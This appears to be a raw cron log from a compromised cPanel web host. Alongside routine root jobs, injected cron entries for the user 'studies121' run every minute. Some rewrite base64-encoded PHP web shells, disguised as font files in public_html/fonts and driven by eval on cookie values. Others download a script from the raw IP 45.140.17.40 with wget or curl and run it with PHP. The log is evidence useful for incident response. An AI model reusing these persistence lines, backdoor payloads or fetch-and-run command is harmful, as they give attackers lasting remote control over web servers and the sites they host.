Sep  8 07:13:01 ip-184-168-122-23 CROND[1910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:14:01 ip-184-168-122-23 CROND[2031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:14:01 ip-184-168-122-23 CROND[2033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:14:01 ip-184-168-122-23 CROND[2035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:14:01 ip-184-168-122-23 CROND[2036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:14:01 ip-184-168-122-23 CROND[2037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:15:01 ip-184-168-122-23 CROND[2171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:15:01 ip-184-168-122-23 CROND[2173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:15:01 ip-184-168-122-23 CROND[2178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:15:01 ip-184-168-122-23 CROND[2177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:15:01 ip-184-168-122-23 CROND[2175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:15:01 ip-184-168-122-23 CROND[2179]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:16:01 ip-184-168-122-23 CROND[2296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:16:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:16:01 ip-184-168-122-23 CROND[2301]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:16:01 ip-184-168-122-23 CROND[2299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:16:01 ip-184-168-122-23 CROND[2300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:16:01 ip-184-168-122-23 CROND[2302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:17:01 ip-184-168-122-23 CROND[2509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:17:01 ip-184-168-122-23 CROND[2511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:17:01 ip-184-168-122-23 CROND[2514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:17:01 ip-184-168-122-23 CROND[2515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:18:01 ip-184-168-122-23 CROND[2631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:18:01 ip-184-168-122-23 CROND[2634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:18:01 ip-184-168-122-23 CROND[2635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:18:01 ip-184-168-122-23 CROND[2633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:18:01 ip-184-168-122-23 CROND[2640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:19:01 ip-184-168-122-23 CROND[2774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:19:01 ip-184-168-122-23 CROND[2776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:19:01 ip-184-168-122-23 CROND[2779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:19:01 ip-184-168-122-23 CROND[2780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:20:01 ip-184-168-122-23 CROND[2911]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:20:01 ip-184-168-122-23 CROND[2914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:20:01 ip-184-168-122-23 CROND[2913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:20:01 ip-184-168-122-23 CROND[2915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:20:01 ip-184-168-122-23 CROND[2916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:20:01 ip-184-168-122-23 CROND[2917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:20:01 ip-184-168-122-23 CROND[2920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:20:01 ip-184-168-122-23 CROND[2919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:20:01 ip-184-168-122-23 CROND[2918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:21:01 ip-184-168-122-23 CROND[3042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:21:01 ip-184-168-122-23 CROND[3043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:21:01 ip-184-168-122-23 CROND[3045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:21:01 ip-184-168-122-23 CROND[3046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:22:01 ip-184-168-122-23 CROND[3195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:22:01 ip-184-168-122-23 CROND[3196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:22:01 ip-184-168-122-23 CROND[3198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:22:01 ip-184-168-122-23 CROND[3197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:22:01 ip-184-168-122-23 CROND[3200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:23:01 ip-184-168-122-23 CROND[3375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:23:01 ip-184-168-122-23 CROND[3376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:23:01 ip-184-168-122-23 CROND[3378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:23:01 ip-184-168-122-23 CROND[3379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:24:01 ip-184-168-122-23 CROND[3501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:24:01 ip-184-168-122-23 CROND[3504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:24:01 ip-184-168-122-23 CROND[3502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:24:01 ip-184-168-122-23 CROND[3503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:24:01 ip-184-168-122-23 CROND[3506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:25:01 ip-184-168-122-23 CROND[3620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:25:01 ip-184-168-122-23 CROND[3625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:25:01 ip-184-168-122-23 CROND[3622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:25:01 ip-184-168-122-23 CROND[3626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:25:01 ip-184-168-122-23 CROND[3623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
